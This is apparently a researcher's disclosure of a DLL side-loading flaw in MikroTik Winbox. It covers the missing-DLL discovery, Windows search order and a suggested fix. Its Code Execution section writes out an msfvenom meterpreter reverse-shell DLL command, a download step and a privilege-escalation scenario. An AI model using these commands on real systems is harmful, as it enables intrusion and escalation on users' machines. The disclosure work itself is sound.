Mikrotik Winbox DLL Side-Loading Vulnerability

Overview

Winbox.exe and Winbox64.exe suffer from an unfortunate DLL Side-Loading vulnerability. The latest versions (32-bit, 64-bit) are both vulnerable. I am confident these same vulnerabilities work for previous version of the software as well. Mikrotik makes it quite difficult to obtain previous software releases. Testing is underway on alternate versions.

Obtaining the Software

Head over to: https://mikrotik.com/download and select the appropriate version from the drop down seen below.

Identification of the Side-Load

If we fire up Process Monitor from the Sysinternals suite, we can set three targeted filters.

Process name is winbox64.exe
Path ends with .dll
Result is NAME NOT FOUND

With these filters set we can see that Winbox64.exe is attempting to load three DLLs and not finding them in C:\Users\MALDEV01\Downloads

In case the text is a bit too small above, the DLLs are named:

dbghelp.dll
MSASN1.dll
Wldp.dll

For reference, Downloads is where winbox.exe and winbox64.exe were located when this capture was taken. If we look further, and or give the DLL names a quick Google we can see they are valid Windows OS DLLs and should be located in C:\Windows\System32

We can confirm this by clearing our capture filters and setting the filter to include:

Path ends with MSASN1.dll

Above we can see Winbox64.exe successfully loading the msasn1.dll from System32 after searching the present working directory.

We can confirm that winbox64.exe will always attempt to load msasn1.dll from the present working directory by moving winbox64.exe to the Desktop and re-capturing the loading of MSASN1.dll. We can observe winbox64.exe attempting to locate the DLL from the Desktop before successfully loading it from System32 .

DLL Search Order

The knowledgeable Windows reader should be screaming right about now, stating this is the proper load order for DLLs. This individual would be right per Microsofts documentation regarding DLL Search Order.

Dynamic-link library search order - Win32 apps

(Screenshot of the important part)

We can clearly see item 7 states that “The folder the calling process was loaded from (the executable’s folder)”, and item 8 is C:\Windows\System32

However the key words this savy Windows reader would be missing are “packaged apps”. Winbox.exe and Winbox64.exe are standalone executables and by no means packaged apps. For the uninitiated, a packaged windows application will often come in the form of an Installer (.msi) and install itself in either:

C:\Program Files (x86)
C:\Program Files

Further, this location is only writeable by an Administrator and requires those elevated permissions in order to tamper with DLLs and other files found there. Due to Winbox.exe being a standalone application, many users (myself included) keep the executable in their user profile (Desktop, Documents, Downloads, etc).

Code Execution

After generating a very simple msfvenom DLL payload and placing it in the same folder as our winbox.exe binary we can achieve code execution.

# linux
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.15.130 LPORT=4444 -f dll -o MSASN1.dll
python3 -m http.server
# windows
iwr http://192.168.15.130:8000/MSASN1.dll -o MSASN1.dll

If run winbox64.exe, we can achieve code execution on the target system, as seen below. Note: Code execution is gained in the context of the user that ran Winbox.exe/Winbox64.exe.

Further seen below, we can see our PPID is winbox64.exe and our process is rundll32.exe (a signed Microsoft executable). This can be further confirmed with the ps and getpid Metasploit built-ins.

Note that the winbox64.exe is our parent process. I bring this ppid pid relationship up for a particular reason. Say we have gained access to a user desktop that has the winbox.exe binary, however we do not have Administrator privileges, and we want to escalate. If a legitimate user were to come along and execute the winbox.exe binary as an Administrator we would gain code execution along with escalating our privileges. Winbox.exe is an application that can often require Administrator level permissions as firewall modifications are required for it to run and successfully connect to a remote router/switch.

Why is this a Vulnerability?

I believe this is a vulnerability for a few reasons.

1. Location on the file system is likely to be a user profile, allowing non-admin users potential write access to the same folder winbox.exe is located in
2. The high likelihood of privilege escalation due to Winbox needing permission to modify the firewall, making it almost a requirement to run the app as Administrator.

3. A non packaged application following the “Safe DLL Search Order” guidance from Microsoft, when it should be hardcoding the System32 path.

4. Correctable Dev action. This issue can easily be corrected by simply loading the DLLs from System32 . These are not DLLs that are found anywhere else on a Windows system, thus the developer can easily modify the LoadLibraryA WinAPI function call to load the DLLs from C:\Windows\System32 mitigating any potential of code execution or privilege escalation via DLL Side-Loading.